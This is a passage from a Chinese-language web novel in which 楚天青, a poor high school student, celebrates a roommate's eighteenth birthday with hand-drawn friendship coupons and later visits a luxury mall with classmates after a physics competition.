或许是因为今日气温偏高,电风扇全部调成了最大档,风是流动的,在座位之间穿来绕去,吹乱了试卷,也吹散了精神,同学们都有些疲惫倦怠。 纪明川缓步走出教室,想在走廊上透口气。楚天青跟在他的身后,也想从顶楼眺望远处的风景。 他们站在栏杆之前,彼此间离得不远,也不近,一米左右的距离,却能让风把纪明川身上的气息吹过来,还是她熟悉的香味,青竹、檀木、野茉莉,分不清到底是哪一种,又或者是她的想象衍生出来的幻觉? 她的心性忽然变得轻率浮躁,不管不顾地冒出一句话:“你身上有点香。” “我每天都洗澡。”纪明川依旧淡然地回答。 “啊?”楚天青双手扶住栏杆,“我也是。” 好奇怪的对话,楚天青心想,为什么他们两个人忽然讨论起了双方的卫生习惯? 纪明川考虑到了不久的将来:“不是每一所大学都能让你天天洗澡,你有没有想过,以后要考哪一所?” 楚天青跟上了他的思路:“就是那几所最好的大学,可以每天洗澡吗?” 天边的浮云消散了,纪明川猛然回过神来,怎么能和楚天青谈论“洗澡”?他匆匆结束这个话题:“肯定可以。” 他双手揣进裤子口袋,转身走回教室,楚天青依旧跟在他的背后:“你去过我们学校的男生宿舍吗?那里也有独立卫生间吗?” 她对学校的一切都感到好奇。 纪明川暂时没有住校经验,正不知如何回答,许月亭从门口走了过来:“男生宿舍楼也是几年前刚翻新的,和女生宿舍楼的硬件设施差不多。你在这里住得习惯吗?” “什么都好,”楚天青点头,“特别、特别好。” 眼看着许月亭和楚天青又要聊起来,纪明川忽然低头对楚天青说:“那本杂志的七月刊到了,我正要拿给你。” 楚天青一下就猜到了,是她惦记了好几天的《中国国家地理》七月刊!她顾不上多想,赶紧跟上他的脚步,一起走进了教室。 这一整天,楚天青的心思都放在了杂志上,还有竞赛题上,也没怎么和别人说话。 晚上没做噩梦,也算是睡了一个好觉,到了天亮时分,黎明光线朦胧,穿透了宿舍的床帘,她缓缓从床上坐起来,还记得今天是郑相宜的十八岁生日,但她还没给郑相宜准备礼物,怎么办呢? 自从她住进204寝室,她仔细观察了郑相宜的日常起居。郑相宜用惯了的那些品牌,她一个也买不起,如果送出去的东西不是对方想用的,那就没有必要去买了,她是明白这个道理的。 天色越来越亮了,阳光投在墙壁上,挥洒着淡金色。郑相宜和顾思安也从床上起身,洗漱、换衣服、收拾床铺,寝室里渐渐有了人声。 楚天青一直没合上眼。她从床上爬下来,轻手轻脚打开柜子,取出一个干净的新本子。她坐在书桌前,翻开扉页,认真画了几朵花,又写了几张“兑换券”,包括“三小时聊天券”,“一个认真聆听的夜晚券”,“一顿热气腾腾的早餐券”,“一个化学笔记本讲解券”……每一张都是一种愿望的寄托,通过她的笔迹显现在纸页之中。 妈妈曾经说过,楚天青不该幻想以后有钱的生活。但她确实是这样想的。如果哪天真的攒下一笔钱,她一定会给郑相宜更多回报,不是因为亏欠,而是出于心甘情愿的喜欢。 白天的课程飞快地过去了,天光透过窗帘,一晃而过,没人注意光线什么时候从东墙转向了西墙。 下午四点,天空还是清澈的蔚蓝色,郑相宜拽着楚天青和顾思安往南门跑去。 校门外,一辆白色奥迪轿车正停在那里,车边站着郑相宜的妈妈,还有一个笑容和蔼的中年妇女。 楚天青双手抓住校门的栏杆:“那个阿姨是谁啊?” “是我家的保姆阿姨。”郑相宜随口回答。 “保姆”这两个字,对楚天青来说,也是十分遥远的词汇,像电视剧里的某种生活,与她的日常隔着一道看不见的玻璃。 28 三个人的生日聚会 郑相宜的妈妈和保姆从轿车里拿出了七个塑料袋,袋口打着整齐的结,袋子里装着玻璃饭盒、不锈钢餐盘和餐具、竖条纹的玻璃杯,甚至还有一束深红色玫瑰花。蛋糕盒在另一个单独的帆布袋里,底部还放着硬邦邦的冰袋。 “妈,你准备得太多了,”郑相宜接过袋子,“我和室友吃不完怎么办?” 妈妈笑着说:“吃不完就多叫几个同学一起吃。今天是你十八岁生日嘛,热闹点儿才像样。” 郑相宜点头:“妈妈,天气有点热,我先回寝室了,你晚上去机场也要注意安全,到了机场给我打个电话或者发个短信。” “去吧,”妈妈挥了挥手,“蛋糕刚从车载冰箱里拿出来,你们赶紧回去,这会儿吃口感最好。” “谢谢阿姨!阿姨辛苦了。”楚天青也小声说了一句。她双手伸到栏杆上方,接到了两个塑料袋。 “阿姨不辛苦,你们吃得好就行。”郑相宜的妈妈替楚天青理了理袋子提手的位置,像在嘱咐自己的女儿一样。 楚天青、顾思安、郑相宜的手上至少拎了两个塑料袋。她们沿着小路,往宿舍方向走去。塑料袋在摆动中发出轻响,和她们的脚步声一同回荡在林荫道上。 楚天青回头望了一眼,校门外,郑相宜的妈妈还站在原地,并未离开,她的视线落在郑相宜的背影上,像是还有些话没来得及说。 郑相宜的妈妈也把全部的爱都给了女儿。 楚天青想起了自己的妈妈。妈妈经常在公交车站牌前等她,明明已经等了很久,却总说“妈妈才刚来”。 楚天青靠近郑相宜,悄悄问:“你妈妈为什么晚上还要赶去机场啊?” “她开了一个外贸公司,”郑相宜回答,“经常去外地出差。” “她妈工作可忙了。”顾思安附和了一句。 郑相宜又把塑料袋拎高了些:“这两年竞争特别激烈,生意也不太好做。” 楚天青对“生意”一窍不通,也不知道“外贸公司”的具体业务是什么。她不敢接郑相宜的话。 更何况,今天是郑相宜的十八岁生日,郑相宜应该高高兴兴的才对,可不能像楚天青一样,总在担心自己的处境,那生日还怎么过呢? 楚天青立即转移话题:“我们走快点吧,马上就到寝室了。空调还开着呢,寝室里一定很凉快。” 顾思安抢先跑了几步,边跑边喊:“快走快走,我饿得头都晕了!中午没吃饭,就盼着这一顿呢!” 郑相宜笑出了声:“还好我妈妈准备了这么多吃的,我们下午四点吃一顿,晚上九点再来一顿。” “太好了!”楚天青欢呼雀跃,“我中午也只吃了一个肉夹馍,现在也有点饿了。” 她们三个人连跑带走,飞快奔回了女生宿舍。这一段路上,每个人心里都充满了期待,天好像更蓝了,树也更绿了,连寝室楼看上去都比平时顺眼。 刚一走进楼道,楚天青就看见楼梯口站着几个女生,这些女生也注意到了她们手里的塑料袋和玫瑰花。 其中一个女生小声说:“哇,谁过生日啊?还有花呢。” 另一个女生问:“谁送的啊?” 郑相宜并不认识她们,却还是扬起了下巴,骄傲地回答:“我妈妈送的。” 顾思安“哈哈”笑了一声,像一阵风似的冲上楼梯:“我到寝室了,我第一!” 楚天青紧随其后,郑相宜也笑着追上来。寝室门已经打开了,一股清凉的空调冷风迎面拂来,瞬间驱散了夏日的燥热。这一瞬间,连呼吸都轻松了许多。 楚天青把塑料袋轻轻放在地上:“终于回来了。” 郑相宜也走进了寝室,顺手按下墙上的电灯开关,室内顿时亮了起来。她回身关门,转动门锁,仿佛把一切烦心事都扔到了门外。 “今晚是我们的快乐之夜!”顾思安兴奋地说着。她从柜子里抽出一张毛毯,铺在了地板上。 楚天青蹲下来摸了摸,毛毯又软又厚实,她忍不住惊呼:“真的能直接铺在地上吗?不会弄脏吗?” “没事的,”顾思安满不在乎地摆摆手,“我周六拿回家洗,我家有个超大的洗衣机。” 郑相宜还在一旁忙碌着。她搬出两张折叠小桌,拼在一起,放在毛毯上,又回头拆开了一个塑料袋。 她先拿出了一束玫瑰花,一枝一枝打理好,插进一只透明玻璃瓶里,再加满水,端端正正摆在自己书桌靠墙一侧的角落里。 淡淡香气从花瓶中溢出,飘散在空气之中,并不强烈,却让楚天青忍不住多吸了几口气:“玫瑰花香,真好闻。” 郑相宜笑着回答:“我妈妈最喜欢玫瑰花了。” “你呢,”楚天青问,“你喜欢什么?” 郑相宜坐到毛毯上,紧挨着楚天青,两人的膝盖几乎贴在一起:“我喜欢百合花,不过百合香味太浓了,不能放在卧室里。” 楚天青默默记在了心里。将来某一天,如果她有钱了,她一定要买一束百合花,送给郑相宜。 郑相宜和顾思安打开了几个塑料袋,不一会儿,桌上就摆得满满当当。 玻璃饭盒里装着金黄酥脆的炸鸡、脆皮微焦的煎饺,还有火腿披萨、捞汁海鲜、酱牛肉拌面,以及一份五彩斑斓的时蔬拼盘,包括水煮过的玉米粒、胡萝卜、西兰花、包菜叶,看起来清爽又新鲜。 楚天青坐在毛毯上,看着眼前这一桌,哦不,是两桌丰盛美食,感觉脑子都有点转不过来了,晕乎乎的,好像马上就要晕倒了。 “天呐……”楚天青低声呢喃,“我是不是在做梦呢?” 顾思安被她逗笑了,从塑料袋里拿出一套餐具:“来,这是你的餐盘和筷子。” 楚天青接过那一只不锈钢餐盘,盘子的边缘微微晃动,在灯光下泛起一圈冷光。她怔了一怔,才发现自己的双手正在发抖,她意识到自己太紧张了:“啊,我好像有点紧张。” 十七班也有几个优等生,休息时都把神经绷得紧紧的。顾思安以为楚天青也是这种人,立刻一把搂住她的肩膀:“你别紧张!今天可是我们的快乐之夜,你要允许自己享受一下生活!” 顾思安还说:“我奶奶今年九十了,头脑可清楚了,她总跟我说,人活着啊,最重要的是让自己舒服,开心的事要多做,不喜欢的事别勉强,我觉得她说得很有道理。” 楚天青的双手依旧捧着餐盘:“可是,人这一生,难免会有身不由己的时候,也不总是开心的。” 顾思安抓起筷子,夹了一只煎饺,塞进嘴里,边嚼边说:“是啊,不开心的事肯定有,但你想想,我们刚才不是在大热天拎着一堆袋子,跑得满头大汗?当时确实难受,可一想到快回寝室了,有空调吹、有大餐吃、还有好朋友在,心里不就舒服多了?” 她的嘴角还沾着点汤汁,又补充道:“我奶奶也常说,吃点苦没关系啊,苦完了才更容易开心。” 楚天青也夹了一块火腿披萨,放进自己的餐盘里,迟疑片刻,才咬了一小口,咀嚼时,尝到了鲜香绵软的芝士,混着火腿的香气,一起融化在嘴里。她用力一咬,饼边在齿间咔嚓一声脆响,原本紧绷的情绪也被她一并咬碎了。 “真好吃,”楚天青的声调含糊不清,“谢谢你,郑相宜,我现在觉得好幸福。” 郑相宜坐在一旁,打开了最后一个帆布袋,从里面拿出一只精致的蛋糕盒。桌上已经摆满了饭菜,再没有一点空地了,她小心翼翼地把蛋糕盒放在毛毯上,一点一点掀开盖子。 蛋糕终于露出了它的全貌。圆形的奶油蛋糕,色彩缤纷,奶香柔润,顶层铺着七种新鲜水果,细致分成七块片区,猕猴桃、蓝莓、草莓、橙子、西瓜、芒果、荔枝肉,如同一个缩小版的夏日果园。 楚天青从没见过如此奢侈的蛋糕。她吓呆了,心脏又砰砰地跳起来,更是一动也不敢动,就连呼吸都变轻了几分,生怕自己不小心碰到了蛋糕,就毁掉了郑相宜的十八岁生日。 顾思安都惊讶得张开了嘴:“你妈妈怎么准备了这么多种水果啊?” 郑相宜也愣了一会儿,才反应过来:“妈妈说,既然不能陪我过生日,那就亲手做一个最好的蛋糕。” 顾思安啧啧赞叹:“你妈妈对你也太好了吧!要是我敢让我妈做这种蛋糕,她会把我赶出家门,叫我滚得远远的。” 楚天青忽然坐直了身体:“蛋糕已经闪亮登场了,我们是不是该给郑相宜送礼物了?” 顾思安“哎呀”一声,连忙站起身来,钻入衣柜里翻找,拿出一个扎着缎带蝴蝶结的礼盒,递到郑相宜面前。 郑相宜接过礼盒,掀起盖子,里面躺着一只纯金手链,链身精细又轻盈,坠着一个四叶草形状的吊坠,在灯下闪烁着亮光。 “哇,”她轻声惊叹,“这真的是……纯金的啊?” 顾思安眨了眨眼睛:“怎么样,是不是很精致?我可是在店里挑了半天……其实我以前从来没送过这么贵的礼物,我也攒了几个月的钱,不过今天是你十八岁生日,我和你都认识六年了,不好好庆祝一下,哪里说得过去?” 郑相宜把手链戴在左手腕上,看得出来,她很喜欢这一条手链。 金光闪耀的手链,又让楚天青的掌心出了一点薄汗。 楚天青缓慢爬到了毛毯边缘,从自己的书包里拿出那个笔记本,交给郑相宜:“这是……是我给你准备的礼物。” 郑相宜翻开了笔记本,共有七十二页,每一页都是一张手绘的“友情兑换券”,各种各样的,她看见了“深夜聊天券”、“讲题专属券”、“早餐请客券”、“散步陪聊券”,每一张都是独一无二的,楚天青还画了可爱的表情包。 郑相宜暗暗心想,楚天青到底花了多久制作这一份礼物?又费了多少心思,才能凑齐七十二张纸? 妈妈辛苦准备的饭菜,顾思安攒钱买的手链,还有楚天青一页一页画出来的兑换券,这些心意交织在一起,拼成了她十八岁生日的全部模样。 郑相宜眼眶一热,抬手抱了一下楚天青的肩膀:“谢谢,这个礼物很好,很特别。” 楚天青又惊又慌,睁大眼睛问:“你真的很喜欢吗?” “怎么可能不喜欢?”顾思安一下子凑过来,迅速翻了几页,“我也超喜欢!我生日在十一月,到时候你也要给我写一个,求你了!” 楚天青还没反应过来,顾思安已经双手合十:“求你了,天青老师,我也想拥有这样的本子,我甚至可以写一封申请书交给你!” 楚天青脸颊涨红:“好,好,我也给你写,你不要再叫我天青老师了,我很不好意思……” 楚天青和顾思安讲话的时候,郑相宜拿出了手机。她一向不喜欢炫耀,但是今天太值得记录了。她拍下了笔记本的扉页、精致的手链盒,还有那个奶油水果蛋糕,发了一条朋友圈,对所有人可见,配文是:“年年有今日,岁岁有今朝。” 发送成功,郑相宜把手机扔到一边,摆正了蛋糕,笑着说:“好了,我要开始许愿了。” 顾思安和楚天青对视一眼,默契地唱起了生日歌。 郑相宜合上双掌,闭上眼睛许愿。寝室里不能点蜡烛,她还是做了一个吹气的动作,然后才睁开眼,拿起餐刀,切开蛋糕。 奶油顺着刀口慢慢滑落,露出蛋糕的嫩黄胚心,蓬松柔软,还夹着水果冰淇淋。 楚天青和顾思安都分到了一大块蛋糕。 郑相宜又把笔记本电脑摆在毛毯上,点开了她早就选好的电影。那是一部动画喜剧电影,温馨搞笑,合家欢的类型,刚好她们三个人都没看过。 楚天青侧着身,左手托着餐盘,目光时不时飘向电影画面,嘴巴却从没停下来过。她的餐盘早已堆满了,蛋糕、披萨、炸鸡、煎饺、酱牛肉,各有各的特色,全都是十分美味的。 空调吹着凉风,寝室里充满了欢声笑语,整个世界好像只剩下她们三个人,谁也不在乎外界的吵闹喧嚣,只沉浸在此时此刻,用心感受着彼此之间的陪伴。 “我不行了!”顾思安鼓着腮帮,含着一口捞汁海鲜,“你妈妈做饭怎么能这么好吃!” 楚天青也使劲点头,嘴角全是奶油:“是啊,好吃得像在做梦!” 她咬了一大口蛋糕,香甜的奶油在口中化开,夹杂着果肉的酸甜清爽。 “好吃就多吃啊,”郑相宜自己也在吃蛋糕,“差不多能吃三顿。” 这一晚,果然如同郑相宜预计的那样,她们下午四点吃了一顿,晚上八点又吃了一些,到了十二点干脆又来了一次夜宵,差不多把所有饭菜都吃完了,三个人都吃得有点撑。 轮流洗完澡后,已经快凌晨一点了,她们都很兴奋,没有一点睡意。 楚天青躺在床上,才刚洗过澡,身上干干净净的,头发还带着淡淡的洗发水的香味。 寝室已经收拾过了,垃圾袋也扔出去了,只剩下那一瓶玫瑰花,依旧静静地立在书桌上,像个沉默的见证者。 楚天青把脸埋进枕头里,满足地叹了一口气:“该睡觉了。” “小青,”郑相宜忽然这样叫她,“你平时喜欢看什么书?” 楚天青转头看了郑相宜一眼,不太明白她为什么突然问这个问题,但还是如实回答:“我……喜欢看很多书,都来不及看完。” 郑相宜又问:“你最喜欢哪一本?” 顾思安已经猜到了她的用意:“郑相宜想送你一本书。” “啊,不用不用。”楚天青摇了摇头。她已经欠了郑相宜不少人情,怎么还能再要一本书呢? 不过,她还是认真想了想,低声说:“其实我没有最喜欢的……我记得很多书里的内容,看过了的书,就不用再留着了。” 郑相宜打了个哈欠,忽然有些困倦:“那……你是把它们放下了,还是藏进心里了?” “我……我心里……”楚天青不好意思告诉郑相宜,她心里最渴望的是钱。 郑相宜没有追问,渐渐睡着了。 楚天青下了床,关了灯,又轻手轻脚回到自己床上,缩进薄被里。 这一觉睡到第二天早晨,她们三个人洗漱完毕,在食堂吃了早餐,照常去教室上课。 今天来得稍微迟了一点,楚天青坐下来以后,看了看周围,纪明川、宋远舟、许月亭全部到齐,但他们三个都没说话,只是沉默地坐在座位上。 “怎么了?”楚天青问,“你们今天为什么都不说话?” 纪明川回头看了她一眼:“我来的时候,他们两个就像死机了一样,无法启动。” 宋远舟靠在桌边,斜坐着,轻声问:“你知不知道,昨天是郑相宜的生日?” 纪明川感到莫名其妙:“我怎么会知道这种事。” “嗯?”宋远舟察觉到了,“你没加她好友?” 纪明川实话实说:“没,我基本没和她说过话。” 宋远舟叹了口气:“行吧,我本来以为我算是她的朋友,她昨天晚上过生日,有一个很大的水果奶油蛋糕,她竟然没叫我。” “那你呢?”楚天青看着许月亭,“你为什么不说话,也是因为没吃到蛋糕嘛?” 许月亭摇了摇头,语气没什么波动:“不是,我不爱吃甜食,我刚刚在想数学题。你来了以后,我才觉得自己有救了。” 29 第一次逛商场 纪明川冷笑一声:“你说话太夸张了,什么叫‘有救了’?只是一道题写不出来而已,多大点事。” “嗯?”许月亭像是有些不解,“你别这么激动。” 许月亭又在装傻,纪明川反倒冷静了下来。如果他真的动怒了,楚天青可能会觉得他控制不住自己的情绪。 纪明川从书包里抽出一张草稿纸,放到了楚天青的课桌上:“你误会了,我没激动,只不过有点好奇,什么题这么难,竟然让你想了一早上?你把卷子拿出来,我也帮你看看。” 楚天青本就喜欢与人探讨难题,听见纪明川的话,她很开心:“好,我们一起试试看。” 许月亭把手边那张卷子递过来,纸上的数学题确实不容易。 楚天青低着头,认真思考。她一向喜欢挑战难题,纪明川却是心不在焉。 他的笔尖落在草稿纸上,胡乱地划着线条,交错重叠,完全没有一丝规律。 楚天青小声问他:“你在画什么呀?” “不知道,”纪明川嗓音低沉,“有点心烦。” 楚天青也停了笔:“怎么了?你心情不好吗?” 纪明川叹了一口气,指尖稍微一用力,竟然把草稿纸掐皱了。 在楚天青的印象中,纪明川向来是意气风发的,还有一种与众不同的幽默感。但他现在好像笑不出来了。 楚天青很关心他:“还有十分钟上课,你要不要出去走走?晒会儿太阳?真的……会好一点的。” 她自己情绪低落时,医生也建议她多去晒太阳。现在是夏天,阳光明媚灿烂,她想,那一片温暖的光线,或许能照进他心里。 “你对同学真好啊。”许月亭侧过头,与楚天青目光交汇的那一瞬,他笑了笑,又看向了前方讲台。 他轻声说:“我以前也以为,朋友就是一群可以一起讨论问题、互相鼓励的人……后来才发现,大家好像都太忙了,没人真的在乎你。” 楚天青心里有些惊讶,也能理解他的落寞。她读初中的时候,偶尔也有这种感觉,身边围着一群人,却没一个人能靠近。她不敢把自己的秘密告诉别人,只能永远压在心里,藏在一处无人可见的地方。 怕被看穿,怕被识破,更怕那一点好意,不是专属于自己的,而是分享给所有人的,自己却过分看重了。 许月亭低下头来,继续说:“如果我也有你这么好的朋友就好了。” “不,你不了解我,”楚天青连忙否认,“我一点也不好,我……” 她迟疑了一下,解释道:“我有时候说话不经过大脑,说完了我就后悔了,不过后悔也没用。我会去道歉,可我也不知道他们到底有没有原谅我……” “他们不会怪你,”许月亭拧开保温杯,倒出一杯薄荷茶,茶香四溢,他语气温和,“你只是对自己太苛刻了。其实很多人都没你这么坦率,愿意道歉,愿意改。你比你想象中更好,也比你以为的更值得被喜欢。” 楚天青抬手扶住了桌沿,并未接话。她觉得自己自信又自卑。自信是因为个人能力出众,自卑是因为个人缺陷明显,不过,许月亭的安慰,她多少还是听进去了。 许月亭还说:“我挺羡慕你们十七班的人,你们的关系看起来很好……” “也就还行,”纪明川忽然插话,“没什么好羡慕的。” 许月亭没看纪明川一眼。他端起茶杯,喝了一口水,才说:“我也想有这样的朋友,哪怕只是,在我情绪低落的时候,问一句,你还好吗?” 纪明川终于忍不住揭穿他:“你不是学生会副会长吗?交际应该挺广泛吧。我怀疑这个学校里一半以上的人都是你朋友,你找不到一个好人吗,许会长?” 许月亭放下茶杯,不怒反笑:“你把我想得太坏了。” 纪明川转了回去,靠在椅背上:“你挺会伪装的,老师都夸你人缘好,你还说自己朋友少。” 许月亭淡淡道:“也许我只是愿意对人友善。” “是吗?”纪明川直言不讳,“你刚才那些话,听起来不像在交朋友,倒像在撒网钓鱼。” 许月亭似笑非笑:“你是不是太紧张了?我和楚天青说几句话,也能刺激到你?” “刺激不到我,”纪明川转着手里的笔,“我说两句实话而已,你要是听不惯,可以换个座位。” 这显然是在赶人了。 楚天青不擅长应对冲突,只能抬手挡在两人之间:“别吵了,你们两个……有话不能好好说吗?” 她试着缓和气氛:“你们平时都挺理智的,没必要为了一点小事互相讽刺吧。” 她的手臂有些僵硬,却始终没有放下来。还好,她坐在纪明川的正后方,与他更近些。他们对视了片刻,她又问:“你为什么一直看着我?” 纪明川站了起来:“我出去晒晒太阳。” 他转过身,往前走,大步流星,自认为背影潇洒。 命运像是在故意捉弄他,就在这一秒,上课铃“叮铃铃”响了起来,他三步并作两步,极速跑回了座位上,身后传来楚天青“哈哈”的笑声。 数学老师段启言走进教室,随手把教案搁在讲台上。他打开幻灯片,钢尺“啪”地一声敲在黑板上:“好了,同学们,上课了!都给我集中注意力,不要打瞌睡了!” 纪明川漫不经心地记着笔记。忽然,他感觉背后被笔盖轻轻戳了一下。他往后一靠,低声问:“怎么了?” 楚天青没说话,递给他一张纸。 那是从笔记本上撕下来的纸,边缘整齐,摸上去没有一点毛躁感。纸上画着一张线稿图,是一朵漂亮的玫瑰花,盛开在灿烂阳光下。花瓣的线条简洁灵动,旁边还有一行小字:“画点阳光送给你。” 纪明川忍不住勾了一下唇角,拿起笔,添了一句:“但我不是玫瑰花。” 他把这张纸往后传,还到楚天青的手里。 几分钟后,那张纸又被她塞了回来。他有些无奈,把纸垫在手臂之下,只见她又写了一行字:“你家里养了一盆玫瑰,和你沐浴在同一片阳光下。” 纪明川把这张纸折起来,放进了他的书包里,倒不是因为他想保存,只是上课期间传纸条,影响不太好,他决定没收这一份罪证。 接下来的一周,生活平静无波。 八月的第一个周末,全市物理竞赛预赛如期举行,地点设在市中心的一所高中,考试时间从早上九点开始,到中午十二点结束。楚天青、纪明川、许月亭、郑相宜、顾思安都报名参赛了。 考试当天,楚天青提前半小时抵达,与郑相宜和顾思安一同下车。她抬起头,只见校门外人头攒动,真是人山人海。 这一次预赛的参赛选手来自全市各个高中,周围还有不少神情紧张的家长,在烈日下四处张望,为孩子打气,又怕耽误他们进场。 楚天青的心情却很平稳。她站在人群之中,目光平静,脸上没有一丝慌乱的神色。 她已经体验过数学竞赛,考取了一等奖,就连一千元奖学金都到账了。她不会再因为参赛而惶恐不安。这次的物理预赛,只不过是她迈向另一个山头的第一步。 随着考生陆续进场,楚天青也走进了考场。她找到自己的座位坐下,把笔、尺子、准考证全部摆好,靠着椅背,稍微松了口气。 考试铃打响了,卷子从前排传了过来,她才刚翻开卷子,手里的笔就开始动了。 三个小时过得很快。楚天青没急着交卷,又认真检查了好几遍,直到铃声响起,才合上卷面。 才刚走出考场,远远听见有人喊她:“楚天青!” 楚天青回过头,顾思安挥着手,朝她跑来,长长地叹了一声:“太难了……这一次预赛,我是来见世面的,真没希望进复赛了。” 楚天青“嗯嗯”地点了一下头:“我也觉得挺难的。” 顾思安搂住了她的肩膀:“你和郑相宜应该都考得不错,你们都喜欢这种题,解出来还特有成就感。” 楚天青换了个话题:“那我们要不要一起回学校?现在是中午十二点多了……” “不,”顾思安一口拒绝,“我要去逛商场,郑相宜也想去,我们三个一起去吧。” 逛商场? 楚天青环视四周,这才想起来,这所学校位于市中心,附近有一个繁华商圈,听说还有不少高档奢侈品牌,叫什么来着……爱马仕? 她从没真正见过所谓的“大商场”,只在电视上看过这种画面,明亮的橱窗、笔直的扶梯、光可鉴人的大理石地面,还有穿着精致的男女老少来来往往。 她有点好奇,那种地方,真的会像电视里演的那样吗? 而且,她今天也做了万全准备。早上出门前,她在书包里塞了一盒饼干,还有一个装着温水的保温杯。要是饿了,就吃点饼干,喝口水,绝对不会在商场里乱花钱的。 楚天青点头答应:“好啊,那我们一起去看看。” 楚天青和顾思安站在教学楼的楼梯口,本来是想等郑相宜出来,却看见了许月亭。 他从走廊的光影中穿出来,阳光照在他侧脸上,衬得皮肤更白净了,在人群里十分显眼。他还没走近,已经问了一句:“你们准备回学校吗?” “我们要去逛商场,”楚天青兴致勃勃地说,“就是很出名的那个……离这里很近,我们可以走过去,不用坐车。” 许月亭扶了一下书包,顺手调整了背带,轻声问:“我能和你们一起去吗?刚考完试,有点饿了,我也想去吃点东西。” 楚天青正在犹豫,又听见另一道声音:“那我也去。” 她一转头,纪明川正站在她身边,她也不知道他是什么时候来的。 校园里树木繁茂,蝉鸣声一阵比一阵响。 许月亭又问了一声:“你们同意了吗?” “行吧,”顾思安双手合拢,“人多热闹,但我们事先讲好了,今天我们去逛街,纯粹是放松,你们不要在街上讨论考试啊、物理啊什么的,不要招人烦。” 许月亭微微一笑:“放心,我发誓不会提物理两个字,今天的计划只有一个,在街上好好玩一圈。” 纪明川还是暗讽了他一句:“你怎么不和十八班的人玩?” 气氛顿时有些微妙。 就在这时,郑相宜匆匆赶到,许月亭立刻侧身让开一步。他淡声说:“我没看见我们班的人,你看见了吗?如果你很介意,我会注意和你们保持距离。” 郑相宜完全无视了许月亭。她走上前,挽住了楚天青的手臂:“顾思安给我发微信了,我看到了,我们走吧。” 顾思安豪爽地挥了挥手:“哎呀,许月亭和纪明川也要和我们一起逛街,不过,许月亭,你这么客气干什么?你也是我们的老熟人了,咱们都认识了两三年了,对吧?” 郑相宜的态度也很温和:“是啊,一起去吧,人多一点也好,中午还能一起吃饭。” 纪明川忽然看向了楚天青:“你也是这么想的吗?” “我都可以,”楚天青双手拽紧书包带子,“我很想去逛商场。” “那就走吧。”纪明川没再多说,转身往校门方向走。 他们五个人一同穿过教学楼前的空地,阳光从天顶直直照下来,盛夏的热浪汹涌澎湃,泼在他们的身上,空气中的光线似乎也在浮动。 停在路边的汽车已被晒得发烫,行道树的叶子纹丝不动,树荫里也藏着一股令人窒息的热意。今日无风,体感温度更高了,楚天青也想快点跑进一个有空调的地方。 走过这一条街,他们一行人进入了商圈,街道两旁屹立着高楼大厦,格子状的窗户倒映着湛蓝天空。 楚天青不由得放慢了脚步,又忍不住东张西望,路过的行人之中,不乏穿着打扮十分漂亮讲究的,他们的脸上没有多余的表情,只在人行道上或快或慢地行走。 周围一切井然有序,却也带着一种距离感。 “就在那里。”郑相宜抬手,指向前方一栋大楼。 楚天青抬头一看,倒抽了一口气,那一幢建筑占据了整整半条街,门廊好高,好大,看上去真是非常气派。她忽然觉得自己的语文水平并不是很高,见到如此恢宏的建筑,她也只会说:“好壮观啊。” 她加快了脚步,很想近距离观察。 纪明川走得更快。他最先到达门口,那门是自动打开的,扑面而来一股凉爽的冷气。楚天青一溜烟跑了进去,又闻到了淡淡的香味,那是一种类似香水,但又说不上来的味道。 各种奢侈品牌的标志一个接一个亮在半空之中。那些店面也修建得又高又大,玻璃橱窗一尘不染,似乎没有半点灰尘。 “好!”楚天青双手握拳,“既然已经看过了,差不多可以回学校了!” 许月亭笑出了声:“嗯,你说什么?” 郑相宜拉着楚天青的手腕:“走吧,我们还没开始逛呢。” 真的要在这里逛吗? 楚天青悄声问:“你们,难道你们……都能买得起这里的东西吗?” “我也就偶尔买一两件,”郑相宜诚实地回答,“我买不起顶奢,只买轻奢的衣服和鞋子。” 什么叫顶奢,什么又叫轻奢?对楚天青来说,这商场里的所有东西都是顶顶奢侈的。 顾思安和郑相宜已经走到一家店门前。店里铺着柔软的地毯,灯光从天花板打下来,店内的工作人员也穿着统一的制服,神色温和,却不主动。郑相宜似乎想进去转转,不一定要买,只是随便看看。 楚天青却停在原地,没有挪动脚步。 楚天青低下头,看了看自己脚上的运动鞋,又抬头,望着那道店门,有些犹豫,小声问:“哪里能买吃的呢?饮料也行。” 顾思安回过头:“地下一层?” 楚天青赶紧挥了挥手:“好,那我去楼下等你们。” 说完,她转身朝扶梯跑去,却没想到,纪明川和许月亭也跟了上来,她惊讶地问:“你们不去逛一逛吗?” “我是真饿了。”许月亭的语气还是一如既往的平和。 “楼上也有餐厅,”纪明川给他指出一条路,“你可以去看看,这里的用餐环境都很不错。” 许月亭又说:“我记得楼下有一家火锅店。” “啊?”楚天青忍不住问,“你也喜欢吃火锅吗?” “嗯,”许月亭点头,“我爸妈工作很忙,我经常自己做饭。不管冰箱里有什么,全拿出来,洗干净了,切好,放进锅里一煮,就算是火锅了,好吃也容易做。” 他们三人踏上扶梯,楚天青站在扶手边,侧头看了许月亭一眼,忽然有些好奇他的生活:“你,你爸妈是……” 讲到一半,她又觉得这样问不太礼貌,就立即闭嘴了。 许月亭并不避讳,早就习惯了这种问题:“他们在一家驻外企业工作。我初中三年是在国外读的,高一才转回省立一中。” 楚天青追问:“在哪个国家?” “南非,”许月亭看着她,“在非洲。” “呵,”纪明川淡淡地说,“你果然在什么地方都能过得不错。” 楚天青反倒一下来了劲:“南非?那个……很有名的,‘好望角’是在南非吧?面朝着大西洋,最早是葡萄牙航海家迪亚士在1488年发现的,当时被称为风暴角,后来才改名叫‘好望角’,寓意是‘带来希望的海角’。” 扶梯已经到底了,三人踏上地面,许月亭站到一旁,从口袋里掏出手机,翻出一张照片:“这是好望角,离我们家不算远,那边风特别大,站在悬崖上看海,海面很壮观。” 楚天青低头看着照片,广阔海洋一望无际,海浪冲上了黑色礁岩,壮烈的海风仿佛也吹到了她的脸上。 “好漂亮啊。”她的眼睛没离开屏幕。 许月亭见她兴致盎然,又翻出了更多的照片给她看。 楚天青从没出过国,甚至没出过省,刚转来省立一中时,陌生的环境让她恐惧,如今上学也有一个多月了,恐惧渐渐淡化了,她对世界的好奇和探索欲正在心中慢慢累积。 南非的风土人情,是她从未见过的。她一张张翻着照片,不自觉地入神了,过了好几分钟,忽然想起来,纪明川好像不见了? 楚天青抬起头,纪明川从不远处走过来:“我找了一个火锅店,选好汤底、订好位置了,他们已经开始上菜了。” 这么快? 其实纪明川也很细心啊,他还记得刚才楚天青和许月亭说的,他们都喜欢吃火锅。这么一想,纪明川也很会照顾同学。 楚天青拿起手机,给顾思安打了一个电话:“喂,你们什么时候逛完呢?要不要下来一起吃火锅?” 